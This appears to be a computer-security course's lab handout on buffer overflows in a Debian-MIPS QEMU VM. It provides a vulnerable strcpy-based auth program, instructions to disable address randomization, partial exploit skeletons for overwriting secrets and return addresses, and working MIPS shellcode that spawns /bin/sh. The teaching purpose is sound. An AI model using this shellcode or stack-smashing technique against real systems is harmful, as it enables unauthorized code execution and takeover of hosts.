Project 2: Buffer Overflow

1. Objective

Buffer overflows have been the most common form of security vulnerability in the last ten years. Moreover, buffer overflow vulnerabilities dominate in the area of remote network penetration vulnerabilities, where an anonymous Internet user seeks to gain partial or total control of a host. These kinds of attacks enable anyone to take total control of a host and thus represent one of the most serious security threats. [1]

Definition of buffer overflow from Wikipedia [2]: A buffer overflow, or buffer overrun, is an anomaly where a program, while writing data to a buffer, overruns the buffer's boundary and overwrites adjacent memory. This is a special case of violation of memory safety.

The goal of this lab is to get intimately familiar with the layout and use of data section, code section and, particularly, call stacks, as well as MIPS machine language, assembly and disassembly, debugging, and reverse engineering. As a side benefit, we hope to raise your awareness of computer security issues. To this end, you will write a buffer overrun exploit to break a program that we provide to you.

2. Lab Tasks

2.1 Initial Setup

You can execute the lab tasks using our pre-built QEMU image for a Debian-MIPS virtual machine. To install QEMU in a Linux system, you can use the following command:

```
$ sudo apt-get install qemu-system
```

Then, you can boot this image and start the virtual machine:

```
$ qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta
-hda debian_squeeze_mips_standard.qcow2 -append
"root=/dev/sda1 console=tty0"
```

Here is the account information for this image:

```
- Root password:      root
- User account:       user
- User password:      user
```

Debian and other Linux distributions have implemented several security mechanisms to make the buffer-overflow attack difficult. To simplify our attacks in this lab assignment, we need to particularly disable ***address space randomization*** first.

Address Space Randomization. Debian and several other Linux-based systems uses address space randomization to randomize the starting address of heap and stack. This makes guessing the exact addresses difficult; guessing addresses is one of the critical steps of buffer-overflow attacks. In this lab, we disable these features using the following commands:

```
$ su
Password: (enter root password)
# sysctl -w kernel.randomize_va_space=0
```

2.2 The vulnerable program: vul_program

In the home directory (/home/user/), you can find both the source code and the compiled binary of the following vulnerable program.

```
int auth(char *str)
{
   char buffer[8];
   printf("auth(): The address of the buffer is %p\n", (void*)
&buffer);

   char key[] = "secret";
   /* The following statement has a buffer overflow problem */
   strcpy(buffer, str);

   int ret = 0;
   int i = 0;
   for(i=0; i<6; i++){
      if(buffer[i]!=key[i]){
         ret = 1;
         break;
      }
   }

   return ret;
}
```

```
int main(int argc, char **argv)
{
   char str[600];
   FILE *keyfile;

   keyfile = fopen("badfile", "r");
   fread(str, sizeof(char), 600, keyfile);

   int ret = auth(str);

   if(ret!=0){
      printf("Authentication failed!\n");
      return -1;
   }

   printf("Authentication succeeded!\n");
   // Further operations are carried out here.

   return 0;
}
```

This program has a buffer overflow vulnerability. It first reads from a file called "badfile", which contains a secret string from user input. Then, it passes this string input to another buffer in the function auth() for authentication purpose. The auth() function checks if the buffer matches the hardcoded secret string - "secret". If they two match one another, the authentication succeeds; otherwise the authentication fails.

The original input can have a maximum length of 600 bytes, but the buffer in auth() is only 8-byte long. Because strcpy() does not check boundaries, buffer overflow will occur. Notice that the program gets its input from a file called "badfile". This file is under users' control. Now, our objective is to intentionally create malicious data for "badfile", such that when the vulnerable program copies data from the "badfile" into its buffer, the vulnerability is exploited.

2.3 Task 1: Data-Only Attack

In a data-only attack, we aim to replace the secret data that is stored on the stack, via a buffer overflow attack. To this end, we deliberately prepare a malicious input buffer that is longer than the vulnerable buffer in auth(). As a result, we can take control of both the vulnerable buffer and the stack region where the original secret is stored.

A partially completed exploit code is presented as follows. It writes the data from an input buffer into the "badfile".

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void main(int argc, char **argv)
{
   // Assume you do not know the correct secret. Design the data payload for the input buffer to pass the authentication.
   char buffer[] = "YOU PAYLOAD";  // Give your malicious payload.

   FILE *badfile;

   /* Save the content to the file "badfile". */
   badfile = fopen("./badfile", "w");
   fwrite(buffer, 600, 1, badfile);
   fclose(badfile);
}
```

2.4 Task 2: Tamper the Return Address to Bypass the Authentication Code

In this attack, we aim to tamper the ***return address***, that is saved on the top of the stack. Thus, instead of going through the check code in the main() function, the program can redirect to the instruction after the checkpoint. In other word, the authentication code is bypassed. To this end, you need to 1) figure out the address of the instruction that is executed after the checkpoint, and 2) replace the old return address on the stack with this new one from your input, by manipulating the payload in the buffer.

A partially completed exploit code is presented as follows. It writes the data from an input buffer into the "badfile".

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void main(int argc, char **argv)
{
   char buffer[600];
   FILE *badfile;

   /* The address of the instruction immediate after the check in main() function. */
   char return_address[] = "xxxx"; //Give the address here.
```

```
    /* Fill the entire buffer with 0x00. */
    memset(&buffer, 0x00, 600);

    /* You need to fill the buffer with appropriate data here. */

    /* Save the content to the file "badfile". */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 600, 1, badfile);
    fclose(badfile);
}
```

2.5 Task 3: Tamper the Return Address to Start a Shell

In this attack, we also aim to tamper the ***return address***, that is saved on the top of the stack. However, this time, we would like to jump to the ***shell code*** that is injected to the stack and start a shell through executing the code.

Shellcode

Before you start the attack, you need a shellcode. A shellcode is the code to launch a shell. It has to be loaded into the memory so that we can force the vulnerable program to jump to it. Consider the following program:

```
int main( ) {
    char *name[2];
    name[0] = ''/bin/sh'';
    name[1] = NULL;
    execve(name[0], name, NULL);
}
```

The shellcode that we use is an assembly program that achieves the same goal. The following program shows you how to launch a shell by executing a shellcode stored in a buffer.

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] = {
    "\x24\x06\x06\x66" /* li        a2,1638         */
    "\x04\xd0\xff\xff" /* bltzal    a2,4100b4 <p>   */
```

```
    "\x28\x06\xff\xff" /* slti      a2,zero,-1      */
    "\x27\xbd\xff\xe0" /* addiu     sp,sp,-32       */
    "\x27\xe4\x10\x01" /* addiu     a0,ra,4097      */
    "\x24\x84\xf0\x1f" /* addiu     a0,a0,-4065     */
    "\xaf\xa4\xff\xe8" /* sw        a0,-24(sp)      */
    "\xaf\xa0\xff\xec" /* sw        zero,-20(sp)    */
    "\x27\xa5\xff\xe8" /* addiu     a1,sp,-24       */
    "\x24\x02\x0f\xab" /* li        v0,4011         */
    "\x01\x01\x01\x0c" /* syscall   0x40404         */
    "/bin/sh"          /* sltiu     v0,k1,26990     */
                       /* sltiu     s3,k1,26624     */
};

int main(int argc, char **argv){
    char buf[sizeof(shellcode)];
    strcpy(buf, shellcode);
    ((void(*)())buf)();
}
```

Inject Shellcode into Stack

To run the shellcode, you need to inject the code into stack in the first place. In fact, the shellcode is also stored into the same input buffer that you can manipulate. Therefore, the input buffer will hold both the shellcode and the target address of shellcode.

A partially completed exploit code is presented as follows. It writes the data from an input buffer into the “badfile”.

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] = {
    "\x24\x06\x06\x66" /* li        a2,1638         */
    "\x04\xd0\xff\xff" /* bltzal    a2,4100b4 <p>   */
    "\x28\x06\xff\xff" /* slti      a2,zero,-1      */
    "\x27\xbd\xff\xe0" /* addiu     sp,sp,-32       */
    "\x27\xe4\x10\x01" /* addiu     a0,ra,4097      */
    "\x24\x84\xf0\x1f" /* addiu     a0,a0,-4065     */
    "\xaf\xa4\xff\xe8" /* sw        a0,-24(sp)      */
    "\xaf\xa0\xff\xec" /* sw        zero,-20(sp)    */
    "\x27\xa5\xff\xe8" /* addiu     a1,sp,-24       */
    "\x24\x02\x0f\xab" /* li        v0,4011         */
```

```
    "\x01\x01\x01\x0c" /* syscall   0x40404         */
    "/bin/sh"          /* sltiu     v0,k1,26990     */
                       /* sltiu     s3,k1,26624     */
};

void main(int argc, char **argv)
{
    char buffer[600];
    FILE *badfile;

    /* The approximate address of the shell code. */
    char return_address[] = "xxxx";

    memset(&buffer, 0x00, 600);

    /* Fill in the buffer with "addiu $t1,$t1,257" */
    int i = 0;
    for(i=0;i<596;i+=4){
       buffer[i] = 0x25;
       buffer[i+1] = 0x29;
       buffer[i+2] = 0x01;
       buffer[i+3] = 0x01;
    }

    /* You need to fill the buffer with appropriate data here. */

    /* Save the content to the file "badfile". */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 600, 1, badfile);
    fclose(badfile);
}
```

3. Requirement

You are required to submit 1) the source code of your exploit code for each task, 2) the screenshots that demonstrate the success of your attacks and 3) a report that elaborate your design and implementation of attack code and your observations and understanding of buffer overflow.

[1] Cowan et al., Buffer Overflows: Attacks and Defenses for the Vulnerability of the Decade, in Proceedings of DARPA Information Survivability Conference and Exposition, 2000.

[2] Buffer overflow. http://en.wikipedia.org/wiki/Buffer_overflow.